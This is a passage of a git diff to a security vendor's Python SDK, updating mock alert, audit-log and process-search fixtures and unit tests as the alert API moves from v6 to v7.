"10.203.105.21", + "tms_rule_id": "4b98443a-ba0d-4ff5-b99e-e5e70432a214", + "threat_name": "CVE-2021-44228 Exploit" +} + +GET_NEW_ALERT_TYPE_RESP = {"org_key": "ABCD1234", + "alert_url": "https://defense.conferdeploy.net/alerts?s[c][query_string]=" + "id:MYVERYFIRSTNEWALERTTYPE0001&orgKey=ABCD1234", + "id": "MYVERYFIRSTNEWALERTTYPE0001", + "type": "FIRST_NEW_TEST_ALERT_TYPE", + "backend_timestamp": "2023-04-14T21:30:40.570Z", + "user_update_timestamp": None} + +GET_OPEN_WORKFLOW_JOB_RESP = { + "id": 666666, + "type": "user_workflow_update", + "job_parameters": { + "job_parameters": { + "request": { + "criteria": { + "id": [ + "ABC12345-2ee5-88a2-4427-4af4ab93f528" + ] + }, + "determination": "TRUE_POSITIVE", + "closure_reason": "OTHER", + "status": "CLOSED", + "note": "Note about the determination" + }, + "userWorkflowDto": { + "change_timestamp": "2023-10-18T13:19:01.921Z", + "changed_by_type": "API", + "changed_by": "EG3XXXXX", + "closure_reason": "OTHER", + "status": "CLOSED" + } + } + }, + "connector_id": "EG3XXXXX", + "org_key": "TEST", + "status": "COMPLETED", + "progress": { + "num_total": 0, + "num_completed": 0, + "message": "Dismissal completed" + }, + "create_time": "2023-10-18T13:19:02.000467Z", + "last_update_time": "2023-10-18T13:19:02.527935Z" +} + +GET_CLOSE_WORKFLOW_JOB_RESP = { + "id": 666666, + "type": "user_workflow_update", + "job_parameters": { + "job_parameters": { + "request": { + "criteria": { + "id": [ + "ABC12345-2ee5-88a2-4427-4af4ab93f528" + ] + }, + "determination": "TRUE_POSITIVE", + "closure_reason": "OTHER", + "status": "CLOSED", + "note": "Note about the determination" + }, + "userWorkflowDto": { + "change_timestamp": "2023-10-18T13:19:01.921Z", + "changed_by_type": "API", + "changed_by": "EG3XXXXX", + "closure_reason": "OTHER", + "status": "CLOSED" + } + } + }, + "connector_id": "EG3XXXXX", + "org_key": "TEST", + "status": "COMPLETED", + "progress": { + "num_total": 0, + "num_completed": 0, + "message": "Dismissal completed" + }, + "create_time": "2023-10-18T13:19:02.000467Z", + "last_update_time": "2023-10-18T13:19:02.527935Z" +} + +GET_ALERT_WORKFLOW_INIT = { + "id": "SOLO", + "org_key": "test", + "threat_id": "B0RG", + "type": "WATCHLIST", + "workflow": {"status": "OPEN"} +} diff --git a/src/tests/unit/fixtures/platform/mock_audit.py b/src/tests/unit/fixtures/platform/mock_audit.py new file mode 100644 index 000000000..11f065e92 --- /dev/null +++ b/src/tests/unit/fixtures/platform/mock_audit.py @@ -0,0 +1,63 @@ +"""Mocks for audit log functionality.""" + +AUDITLOGS_RESP = { + "notifications": [ + { + "requestUrl": None, + "eventTime": 1529332687006, + "eventId": "37075c01730511e89504c9ba022c3fbf", + "loginName": "bs@carbonblack.com", + "orgName": "example.org", + "flagged": False, + "clientIp": "192.0.2.3", + "verbose": False, + "description": "Logged in successfully", + }, + { + "requestUrl": None, + "eventTime": 1529332689528, + "eventId": "38882fa2730511e89504c9ba022c3fbf", + "loginName": "bs@carbonblack.com", + "orgName": "example.org", + "flagged": False, + "clientIp": "192.0.2.3", + "verbose": False, + "description": "Logged in successfully", + }, + { + "requestUrl": None, + "eventTime": 1529345346615, + "eventId": "b0be64fd732211e89504c9ba022c3fbf", + "loginName": "bs@carbonblack.com", + "orgName": "example.org", + "flagged": False, + "clientIp": "192.0.2.1", + "verbose": False, + "description": "Updated connector jason-splunk-test with api key Y8JNJZFBDRUJ2ZSM", + }, + { + "requestUrl": None, + "eventTime": 1529345352229, + "eventId": "b41705e7732211e8bd7e5fdbf9c916a3", + "loginName": "bs@carbonblack.com", + "orgName": "example.org", + "flagged": False, + "clientIp": "192.0.2.2", + "verbose": False, + "description": "Updated connector Training with api key GRJSDHRR8YVRML3Q", + }, + { + "requestUrl": None, + "eventTime": 1529345371514, + "eventId": "bf95ae38732211e8bd7e5fdbf9c916a3", + "loginName": "bs@carbonblack.com", + "orgName": "example.org", + "flagged": False, + "clientIp": "192.0.2.2", + "verbose": False, + "description": "Logged in successfully", + }, + ], + "success": True, + "message": "Success", +} diff --git a/src/tests/unit/fixtures/platform/mock_process.py b/src/tests/unit/fixtures/platform/mock_process.py index 8c955aef5..e0b777bdc 100644 --- a/src/tests/unit/fixtures/platform/mock_process.py +++ b/src/tests/unit/fixtures/platform/mock_process.py @@ -7,6 +7,11 @@ "value_search_query": False } +POST_PROCESS_VALIDATION_RESP = { + "valid": True, + "value_search_query": False +} + GET_PROCESS_VALIDATION_RESP_INVALID = { "invalid_message": "Invalid Query Parameter", "valid": False, @@ -14,6 +19,13 @@ "invalid_trigger_offset": 0 } +POST_PROCESS_VALIDATION_RESP_INVALID = { + "invalid_message": "Invalid Query Parameter", + "valid": False, + "value_search_query": False, + "invalid_trigger_offset": 0 +} + POST_PROCESS_SEARCH_JOB_RESP = { "job_id": "2c292717-80ed-4f0d-845f-779e09470920" } @@ -172,6 +184,78 @@ "completed": 45 } +GET_PROCESS_SEARCH_JOB_RESULTS_RESP_WATCHLIST_ALERT_V7 = { + "results": [ + { + "backend_timestamp": "2020-09-11T19:35:02.972Z", + "childproc_count": 0, + "crossproc_count": 787, + "device_external_ip": "192.168.0.1", + "device_group_id": 0, + "device_id": 1234567, + "device_internal_ip": "192.168.0.2", + "device_name": "Windows10Device", + "device_os": "WINDOWS", + "device_policy_id": 12345, + "device_timestamp": "2020-09-11T19:32:12.821Z", + "enriched": True, + "enriched_event_type": [ + "INJECT_CODE", + "SYSTEM_API_CALL" + ], + "event_type": [ + "crossproc" + ], + "filemod_count": 0, + "ingress_time": 1599852859660, + "legacy": True, + "modload_count": 1, + "netconn_count": 0, + "org_id": "ABC1234", + "parent_guid": "ABC1234-0034d5f2-00000284-00000000-1d687097e9cf7b5", + "parent_hash": [ + "9090e0e44e14709fb09b23b98572e0e61c810189e2de8f7156021bc81c3b1bb6", + "bccc12eb2ef644e662a63a023fb83f9b" + ], + "parent_name": "c:\\windows\\system32\\services.exe", + "parent_pid": 644, + "process_cmdline": [ + "\"C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe\"" + ], + "process_effective_reputation": "TRUSTED_WHITE_LIST", + "process_guid": "ABC12345-0002b226-000015bd-00000000-1d6225bbba74c00", + "process_hash": [ + "f2c7d894abe8ac0b4c2a597caa6b3efe7ad2bdb4226845798d954c5ab9c9bf15", + "12384336325dc8eadfb1e8ff876921c4" + ], + "process_name": "c:\\program files\\vmware\\vmware tools\\vmtoolsd.exe", + "process_pid": [ + 3909 + ], + "process_reputation": "TRUSTED_WHITE_LIST", + "process_username": [ + "Username" + ], + "regmod_count": 1, + "scriptload_count": 0, + "ttp": [ + "ENUMERATE_PROCESSES", + "INJECT_CODE", + "MITRE_T1003_CREDENTIAL_DUMP", + "MITRE_T1005_DATA_FROM_LOCAL_SYS", + "MITRE_T1055_PROCESS_INJECT", + "MITRE_T1057_PROCESS_DISCOVERY", + "RAM_SCRAPING", + "READ_SECURITY_DATA" + ] + } + ], + "num_found": 6168, + "num_available": 1, + "contacted": 45, + "completed": 45 +} + GET_PROCESS_SEARCH_JOB_RESULTS_RESP_ZERO = { "results": [], "num_found": 616, @@ -1875,17 +1959,17 @@ ], "parent_name": "c:\\windows\\system32\\services.exe", "parent_pid": 708, - "process_cmdline":[ + "process_cmdline": [ "C:\\WINDOWS\\system32\\msiexec.exe /V" ], "process_effective_reputation": "TRUSTED_WHITE_LIST", "process_guid": "WNEXFKQ7-000309c2-00000454-00000000-1d6a2b6252ba18e", - "process_hash":[ + "process_hash": [ "f9a3eee1c3a4067702bc9a59bc894285", "8e2aa014d7729cbfee95671717646ee480561f22e2147dae87a75c18d7369d99" ], "process_name": "c:\\windows\\system32\\msiexec.exe", - "process_pid":[ + "process_pid": [ 1108 ], "process_reputation": "TRUSTED_WHITE_LIST", @@ -1893,7 +1977,7 @@ "process_username": [ "NT AUTHORITY\\SYSTEM" ], - "ttp":[ + "ttp": [ "ENUMERATE_PROCESSES", "MITRE_T1057_PROCESS_DISCOVERY" ] @@ -2099,29 +2183,29 @@ ], "parent_name": "c:\\windows\\system32\\svchost.exe", "parent_pid": 1144, - "process_cmdline":[ + "process_cmdline": [ "C:\\WINDOWS\\system32\\wermgr.exe -upload" ], "process_effective_reputation": "TRUSTED_WHITE_LIST", "process_guid": "WNEXFKQ7-000309c2-000004f8-00000000-1d6a88e80c541a3", - "process_hash":[ + "process_hash": [ "2ae75e810f4dd1fb36607f66e7e1d80b", "db703055ec0641e7e96e22a62bf075547b480c51ea9e163d94e33452894b885c" ], "process_name": "c:\\windows\\system32\\wermgr.exe", - "process_pid":[ + "process_pid": [ 1272 ], "process_reputation": "TRUSTED_WHITE_LIST", "process_start_time": "2020-10-22T16:15:05.324Z", - "process_username":[ + "process_username": [ "NT AUTHORITY\\SYSTEM" ], - "sensor_action":[ + "sensor_action": [ "DENY", "BLOCK" ], - "ttp":[ + "ttp": [ "POLICY_DENY" ] } diff --git a/src/tests/unit/fixtures/workload/mock_search.py b/src/tests/unit/fixtures/workload/mock_search.py index 77ffabdf3..8607ea5c0 100644 --- a/src/tests/unit/fixtures/workload/mock_search.py +++ b/src/tests/unit/fixtures/workload/mock_search.py @@ -130,7 +130,6 @@ } WORKLOAD_FACET_REQUEST = { - "query": "", "criteria": { "deployment_type": ["WORKLOAD"], "cluster_name": ["buster_cluster"] @@ -202,7 +201,6 @@ } AWS_FACET_REQUEST = { - "query": "", "criteria": { "deployment_type": ["AWS"], "subnet_id": ["alphaworx"] @@ -280,7 +278,6 @@ } WORKLOAD_DOWNLOAD_REQUEST = { - "query": "", "rows": 100, "criteria": { "deployment_type": ["WORKLOAD"], @@ -322,7 +319,6 @@ } AWS_DOWNLOAD_REQUEST = { - "query": "", "rows": 100, "criteria": { "deployment_type": ["AWS"], @@ -341,7 +337,6 @@ } AWS_SUMMARY_REQUEST = { - "query": "", "criteria": { "deployment_type": ["AWS"], "auto_scaling_group_name": ["AutoScalingGroup"], diff --git a/src/tests/unit/platform/test_alertsv6_api.py b/src/tests/unit/platform/test_alertsv6_api.py index 3a47059c2..d9540d357 100755 --- a/src/tests/unit/platform/test_alertsv6_api.py +++ b/src/tests/unit/platform/test_alertsv6_api.py @@ -12,44 +12,36 @@ """Tests of the Alerts V6 API queries.""" from datetime import datetime import pytest +import logging -from cbc_sdk.errors import ApiError, TimeoutError, NonQueryableModel +from cbc_sdk.errors import ApiError, NonQueryableModel, FunctionalityDecommissioned from cbc_sdk.platform import ( BaseAlert, CBAnalyticsAlert, WatchlistAlert, DeviceControlAlert, ContainerRuntimeAlert, - WorkflowStatus, - Process, + Process ) from cbc_sdk.rest_api import CBCloudAPI from tests.unit.fixtures.platform.mock_process import ( - GET_PROCESS_VALIDATION_RESP, + POST_PROCESS_VALIDATION_RESP, POST_PROCESS_SEARCH_JOB_RESP, GET_PROCESS_SEARCH_JOB_RESP, GET_PROCESS_SEARCH_JOB_RESULTS_RESP, GET_PROCESS_SUMMARY_STR, GET_PROCESS_NOT_FOUND, - GET_PROCESS_SEARCH_JOB_RESULTS_RESP_WATCHLIST_ALERT, + GET_PROCESS_SEARCH_JOB_RESULTS_RESP_WATCHLIST_ALERT ) from tests.unit.fixtures.CBCSDKMock import CBCSDKMock -from tests.unit.fixtures.endpoint_standard.mock_enriched_events import ( - POST_ENRICHED_EVENTS_SEARCH_JOB_RESP, - GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP_STILL_QUERYING, - GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP_ZERO_COMP, - GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_ZERO, - GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP, - GET_ENRICHED_EVENTS_SEARCH_JOB_RESULTS_RESP_ALERTS, -) -from tests.unit.fixtures.platform.mock_alerts import ( +from tests.unit.fixtures.platform.mock_alerts_v7 import ( GET_ALERT_RESP, - GET_ALERT_RESP_INVALID_ALERT_ID, GET_ALERT_TYPE_WATCHLIST, GET_ALERT_TYPE_WATCHLIST_INVALID, GET_ALERT_RESP_WITH_NOTES, GET_ALERT_NOTES, - CREATE_ALERT_NOTE, + CREATE_ALERT_NOTE_RESP, + GET_ALERT_FACET_RESP_INVALID ) from tests.unit.fixtures.mock_rest_api import ALERT_SEARCH_SUGGESTIONS_RESP @@ -72,39 +64,44 @@ def cbcsdk_mock(monkeypatch, cb): # ==================================== UNIT TESTS BELOW ==================================== def test_query_basealert_with_all_bells_and_whistles(cbcsdk_mock): - """Test an alert query with all options selected.""" + """Test an alert query with all options selected. + + Will convert to v7 values for API request and when accessed using v7 alert.workflow_.state + should give the v6 value + """ def on_post(url, body, **kwargs): assert body == {"query": "Blort", "rows": 2, - "criteria": {"category": ["MONITORED", "THREAT"], "device_id": [6023], "device_name": ["HAL"], + "criteria": {"device_id": [6023], "device_name": ["HAL"], "device_os": ["LINUX"], "device_os_version": ["0.1.2"], - "device_username": ["JRN"], "group_results": True, "id": ["S0L0"], - "legacy_alert_id": ["S0L0_1"], "minimum_severity": 6, "policy_id": [8675309], - "policy_name": ["Strict"], "process_name": ["IEXPLORE.EXE"], + "device_username": ["JRN"], "id": ["S0L0", "S0L0_1"], + "minimum_severity": 6, "device_policy_id": [8675309], + "device_policy": ["Strict"], "process_name": ["IEXPLORE.EXE"], "process_sha256": ["0123456789ABCDEF0123456789ABCDEF"], - "reputation": ["SUSPECT_MALWARE"], "tag": ["Frood"], "target_value": ["HIGH"], - "threat_id": ["B0RG"], "type": ["WATCHLIST"], "workflow": ["OPEN"]}, + "process_reputation": ["SUSPECT_MALWARE"], "tags": ["Frood"], + "device_target_value": ["HIGH"], + "threat_id": ["B0RG"], "workflow": ["CLOSED"]}, "sort": [{"field": "name", "order": "DESC"}]} - return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", - "workflow": {"state": "OPEN"}}], "num_found": 1} + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", "type": "WATCHLIST", + "workflow": {"status": "CLOSED"}}], "num_found": 1} - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/_search", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) api = cbcsdk_mock.api - - query = api.select(BaseAlert).where("Blort").set_categories(["MONITORED", "THREAT"]).set_device_ids([6023]) \ + query = api.select(BaseAlert).where("Blort").set_device_ids([6023]) \ .set_device_names(["HAL"]).set_device_os(["LINUX"]).set_device_os_versions(["0.1.2"]) \ - .set_device_username(["JRN"]).set_group_results(True).set_alert_ids(["S0L0"]) \ + .set_device_username(["JRN"]).set_alert_ids(["S0L0"]) \ .set_legacy_alert_ids(["S0L0_1"]).set_minimum_severity(6).set_policy_ids([8675309]) \ .set_policy_names(["Strict"]).set_process_names(["IEXPLORE.EXE"]) \ .set_process_sha256(["0123456789ABCDEF0123456789ABCDEF"]).set_reputations(["SUSPECT_MALWARE"]) \ - .set_tags(["Frood"]).set_target_priorities(["HIGH"]).set_threat_ids(["B0RG"]).set_types(["WATCHLIST"]) \ - .set_workflows(["OPEN"]).sort_by("name", "DESC") + .set_tags(["Frood"]).set_target_priorities(["HIGH"]).set_threat_ids(["B0RG"]) \ + .set_workflows(["DISMISSED"]).sort_by("name", "DESC") a = query.one() assert a.id == "S0L0" assert a.org_key == "test" assert a.threat_id == "B0RG" - assert a.workflow_.state == "OPEN" + # not testing v6 value lookup here. Done in other tests + assert a.workflow["status"] == "CLOSED" # v7 value for v7 attribute name def test_query_basealert_with_create_time_as_start_end(cbcsdk_mock): @@ -112,21 +109,24 @@ def test_query_basealert_with_create_time_as_start_end(cbcsdk_mock): def on_post(url, body, **kwargs): assert body == {"query": "Blort", - "rows": 2, - "criteria": {"create_time": {"start": "2019-09-30T12:34:56", "end": "2019-10-01T12:00:12"}}} + "time_range": {"start": "2023-09-19T12:34:56.000000Z", + "end": "2023-09-20T12:00:12.000000Z"}, + "rows": 1 + } return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", - "workflow": {"state": "OPEN"}}], "num_found": 1} + "workflow": {"status": "OPEN"}}], "num_found": 1} - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/_search", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) api = cbcsdk_mock.api - query = api.select(BaseAlert).where("Blort").set_create_time(start="2019-09-30T12:34:56", - end="2019-10-01T12:00:12") - a = query.one() + query = api.select("BaseAlert").where("Blort").set_create_time(start="2023-09-19T12:34:56", + end="2023-09-20T12:00:12").set_rows(1) + a = query.first() assert a.id == "S0L0" assert a.org_key == "test" assert a.threat_id == "B0RG" - assert a.workflow_.state == "OPEN" + # not testing v6 value lookup here. Done in other tests + assert a.workflow["status"] == "OPEN" # v7 value for v7 attribute name def test_query_basealert_with_create_time_as_start_end_as_objs(cbcsdk_mock): @@ -136,31 +136,34 @@ def test_query_basealert_with_create_time_as_start_end_as_objs(cbcsdk_mock): def on_post(url, body, **kwargs): nonlocal _timestamp assert body == {"query": "Blort", - "rows": 2, - "criteria": {"create_time": {"start": _timestamp.isoformat(), "end": _timestamp.isoformat()}}} + "rows": 1, + "time_range": {"start": _timestamp.strftime("%Y-%m-%dT%H:%M:%S.%fZ"), + "end": _timestamp.strftime("%Y-%m-%dT%H:%M:%S.%fZ")}} return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", - "workflow": {"state": "OPEN"}}], "num_found": 1} + "workflow": {"status": "OPEN"}}], "num_found": 1} - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/_search", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) api = cbcsdk_mock.api - query = api.select(BaseAlert).where("Blort").set_create_time(start=_timestamp, end=_timestamp) - a = query.one() + query = api.select(BaseAlert).where("Blort").set_create_time(start=_timestamp.isoformat(), + end=_timestamp.isoformat()).set_rows(1) + a = query.first() assert a.id == "S0L0" assert a.org_key == "test" assert a.threat_id == "B0RG" - assert a.workflow_.state == "OPEN" + # not testing v6 value lookup here. Done in other tests + assert a.workflow["status"] == "OPEN" # v7 value for v7 attribute name def test_query_basealert_with_create_time_as_range(cbcsdk_mock): """Test an alert query with the creation time specified as a range.""" def on_post(url, body, **kwargs): - assert body == {"query": "Blort", "criteria": {"create_time": {"range": "-3w"}}, "rows": 2} + assert body == {"query": "Blort", "time_range": {"range": "-3w"}, "rows": 2} return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", - "workflow": {"state": "OPEN"}}], "num_found": 1} + "workflow": {"status": "OPEN"}}], "num_found": 1} - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/_search", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) api = cbcsdk_mock.api query = api.select(BaseAlert).where("Blort").set_create_time(range="-3w") @@ -168,7 +171,8 @@ def on_post(url, body, **kwargs): assert a.id == "S0L0" assert a.org_key == "test" assert a.threat_id == "B0RG" - assert a.workflow_.state == "OPEN" + # not testing v6 value lookup here. Done in other tests + assert a.workflow["status"] == "OPEN" # v7 value for v7 attribute name def test_query_basealert_with_time_range(cbcsdk_mock): @@ -177,13 +181,14 @@ def test_query_basealert_with_time_range(cbcsdk_mock): def on_post(url, body, **kwargs): nonlocal _timestamp - assert body == {"query": "Blort", "criteria": {"last_update_time": {"start": _timestamp.isoformat(), - "end": _timestamp.isoformat()}}, - "rows": 2} + assert body == {"query": "Blort", "criteria": {"backend_update_timestamp": { + "start": _timestamp.strftime("%Y-%m-%dT%H:%M:%S.%fZ"), + "end": _timestamp.strftime("%Y-%m-%dT%H:%M:%S.%fZ")}}, + "rows": 2} return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", - "workflow": {"state": "OPEN"}}], "num_found": 1} + "workflow": {"status": "OPEN"}}], "num_found": 1} - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/_search", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) api = cbcsdk_mock.api query = api.select(BaseAlert).where("Blort").set_time_range("last_update_time", @@ -193,18 +198,19 @@ def on_post(url, body, **kwargs): assert a.id == "S0L0" assert a.org_key == "test" assert a.threat_id == "B0RG" - assert a.workflow_.state == "OPEN" + # not testing v6 value lookup here. Done in other tests + assert a.workflow["status"] == "OPEN" # v7 value for v7 attribute name def test_query_basealert_with_time_range_start_end(cbcsdk_mock): """Test an alert query with the last_update_time specified as a range.""" def on_post(url, body, **kwargs): - assert body == {"query": "Blort", "criteria": {"last_update_time": {"range": "-3w"}}, "rows": 2} + assert body == {"query": "Blort", "criteria": {"backend_update_timestamp": {"range": "-3w"}}, "rows": 2} return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", - "workflow": {"state": "OPEN"}}], "num_found": 1} + "workflow": {"status": "OPEN"}}], "num_found": 1} - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/_search", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) api = cbcsdk_mock.api query = api.select(BaseAlert).where("Blort").set_time_range("last_update_time", range="-3w") @@ -212,12 +218,33 @@ def on_post(url, body, **kwargs): assert a.id == "S0L0" assert a.org_key == "test" assert a.threat_id == "B0RG" - assert a.workflow_.state == "OPEN" + # not testing v6 value lookup here. Done in other tests + assert a.workflow["status"] == "OPEN" # v7 value for v7 attribute name + + +def test_query_basealert_with_time_range_create_time_as_start_end(cbcsdk_mock): + """Test an alert query with the create_time specified as a range which should also set the global time_range.""" + + def on_post(url, body, **kwargs): + assert body == {"query": "Blort", "rows": 2, 'time_range': {'range': '-3w'}} + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + + query = api.select(BaseAlert).where("Blort").set_time_range("create_time", range="-3w") + a = query.one() + assert a.id == "S0L0" + assert a.org_key == "test" + assert a.threat_id == "B0RG" + # not testing v6 value lookup here. Done in other tests + assert a.workflow["status"] == "OPEN" # v7 value for v7 attribute name def test_query_basealert_facets(cbcsdk_mock): """Test an alert facet query.""" - + # TO DO Review this test - is set_workflows still supported or will it raise functionality decommissioned? def on_post(url, body, **kwargs): assert body["query"] == "Blort" t = body["criteria"] @@ -230,13 +257,12 @@ def on_post(url, body, **kwargs): {"field": {}, "values": [{"id": "status", "name": "statusX", "total": 9}]}]} - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/_facet", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_facet", on_post) api = cbcsdk_mock.api query = api.select(BaseAlert).where("Blort").set_workflows(["OPEN"]) - f = query.facets(["REPUTATION", "STATUS"]) - assert f == [{"field": {}, "values": [{"id": "reputation", "name": "reputationX", "total": 4}]}, - {"field": {}, "values": [{"id": "status", "name": "statusX", "total": 9}]}] + with pytest.raises(FunctionalityDecommissioned): + query.facets(["REPUTATION", "STATUS"]) def test_query_basealert_invalid_create_time_combinations(cb): @@ -253,7 +279,6 @@ def test_query_basealert_invalid_create_time_combinations(cb): @pytest.mark.parametrize("method, arg", [ - ("set_categories", ["SERIOUS", "CRITICAL"]), ("set_device_ids", ["Bogus"]), ("set_device_names", [42]), ("set_device_os", ["TI994A"]), @@ -265,7 +290,6 @@ def test_query_basealert_invalid_create_time_combinations(cb): ("set_policy_names", [323]), ("set_process_names", [7071]), ("set_process_sha256", [123456789]), - ("set_reputations", ["MICROSOFT_FUDWARE"]), ("set_tags", [-1]), ("set_target_priorities", ["DOGWASH"]), ("set_threat_ids", [4096]), @@ -280,79 +304,97 @@ def test_query_basealert_invalid_criteria_values(cb, method, arg): meth(arg) +def test_set_reputations_warning_criteria_values(cbcsdk_mock, caplog): + """Test invalid reputation value in alert query where warnings rather than exceptions are raised.""" + # Note - this will generate a 400 error from the real API if the reputation is invalid. + # v6 criteria "reputations" is translated to request criteria "process_reputations" for v6/v7 compatibility + def on_post(url, body, **kwargs): + assert body == { + "criteria": {"process_reputation": ["MICROSOFT_FUDWARE"]}, + "rows": 1 + } + return {"results": [{"org_key": "ABCD1234", + "alert_url": "https://defense.conferdeploy.net/alerts?s[c][query_string]=" + "id:987654321&orgKey=ABCD1234", + "id": "987654321", + "type": "CB_ANALYTICS", + "backend_timestamp": "2023-04-14T21:30:40.570Z", + "user_update_timestamp": None}], + "num_found": 1} + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + caplog.set_level(logging.WARNING) + query = api.select(BaseAlert).set_reputations(["MICROSOFT_FUDWARE"]).set_rows(1) + len(query) + assert "Reputation value not in enumeration. May be valid as enumeration values are extended in " \ + "Carbon Black Cloud ahead of SDK updates." in caplog.text + + def test_query_cbanalyticsalert_with_all_bells_and_whistles(cbcsdk_mock): """Test a CB Analytics alert query with all options selected.""" def on_post(url, body, **kwargs): assert body == {"query": "Blort", "rows": 2, - "criteria": {"category": ["THREAT", "MONITORED"], "device_id": [6023], "device_name": ["HAL"], + "criteria": {"device_id": [6023], "device_name": ["HAL"], "device_os": ["LINUX"], "device_os_version": ["0.1.2"], - "device_username": ["JRN"], "group_results": True, "id": ["S0L0"], - "legacy_alert_id": ["S0L0_1"], "minimum_severity": 6, "policy_id": [8675309], - "policy_name": ["Strict"], "process_name": ["IEXPLORE.EXE"], + "device_username": ["JRN"], "id": ["S0L0", "S0L0_1"], + "minimum_severity": 6, "device_policy_id": [8675309], + "device_policy": ["Strict"], "process_name": ["IEXPLORE.EXE"], "process_sha256": ["0123456789ABCDEF0123456789ABCDEF"], - "reputation": ["SUSPECT_MALWARE"], "tag": ["Frood"], "target_value": ["HIGH"], - "threat_id": ["B0RG"], "type": ["WATCHLIST"], "workflow": ["OPEN"], - "blocked_threat_category": ["RISKY_PROGRAM"], "device_location": ["ONSITE"], - "kill_chain_status": ["EXECUTE_GOAL"], - "not_blocked_threat_category": ["NEW_MALWARE"], "policy_applied": ["APPLIED"], - "reason_code": ["ATTACK_VECTOR"], "run_state": ["RAN"], "sensor_action": ["DENY"], - "threat_cause_vector": ["WEB"]}, "sort": [{"field": "name", "order": "DESC"}]} + "process_reputation": ["SUSPECT_MALWARE"], "tags": ["Frood"], + "device_target_value": ["HIGH"], + "threat_id": ["B0RG"], "type": ["CB_ANALYTICS"], "workflow": ["OPEN"], + "device_location": ["ONSITE"], "policy_applied": ["APPLIED"], + "reason_code": ["ATTACK_VECTOR"], "run_state": ["RAN"], "sensor_action": ["DENY"]}, + "sort": [{"field": "name", "order": "DESC"}]} return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", - "workflow": {"state": "OPEN"}}], "num_found": 1} + "workflow": {"status": "OPEN"}}], "num_found": 1} - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/cbanalytics/_search", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) api = cbcsdk_mock.api - query = api.select(CBAnalyticsAlert).where("Blort").set_categories(["THREAT", "MONITORED"]) \ + query = api.select(CBAnalyticsAlert).where("Blort") \ .set_device_ids([6023]).set_device_names(["HAL"]).set_device_os(["LINUX"]).set_device_os_versions(["0.1.2"]) \ - .set_device_username(["JRN"]).set_group_results(True).set_alert_ids(["S0L0"]).set_legacy_alert_ids(["S0L0_1"]) \ + .set_device_username(["JRN"]).set_alert_ids(["S0L0", "S0L0_1"])\ .set_minimum_severity(6).set_policy_ids([8675309]).set_policy_names(["Strict"]) \ .set_process_names(["IEXPLORE.EXE"]).set_process_sha256(["0123456789ABCDEF0123456789ABCDEF"]) \ .set_reputations(["SUSPECT_MALWARE"]).set_tags(["Frood"]).set_target_priorities(["HIGH"]) \ - .set_threat_ids(["B0RG"]).set_types(["WATCHLIST"]).set_workflows(["OPEN"]) \ - .set_blocked_threat_categories(["RISKY_PROGRAM"]).set_device_locations(["ONSITE"]) \ - .set_kill_chain_statuses(["EXECUTE_GOAL"]).set_not_blocked_threat_categories(["NEW_MALWARE"]) \ + .set_threat_ids(["B0RG"]).set_workflows(["OPEN"]).set_device_locations(["ONSITE"]) \ .set_policy_applied(["APPLIED"]).set_reason_code(["ATTACK_VECTOR"]).set_run_states(["RAN"]) \ - .set_sensor_actions(["DENY"]).set_threat_cause_vectors(["WEB"]).sort_by("name", "DESC") + .set_sensor_actions(["DENY"]).sort_by("name", "DESC") a = query.one() assert a.id == "S0L0" assert a.org_key == "test" assert a.threat_id == "B0RG" - assert a.workflow_.state == "OPEN" + # not testing v6 value lookup here. Done in other tests + assert a.workflow["status"] == "OPEN" # v7 value for v7 attribute name def test_query_cbanalyticsalert_facets(cbcsdk_mock): """Test a CB Analytics alert facet query.""" - def on_post(url, body, **kwargs): - assert body == {"query": "Blort", "criteria": {"workflow": ["OPEN"]}, + assert body == {"query": "Blort", "criteria": {'type': ['CB_ANALYTICS'], "workflow": ["OPEN"]}, "terms": {"rows": 0, "fields": ["REPUTATION", "STATUS"]}} return {"results": [{"field": {}, "values": [{"id": "reputation", "name": "reputationX", "total": 4}]}, {"field": {}, "values": [{"id": "status", "name": "statusX", "total": 9}]}]} - cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/alerts/cbanalytics/_facet", on_post) + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_facet", on_post) api = cbcsdk_mock.api query = 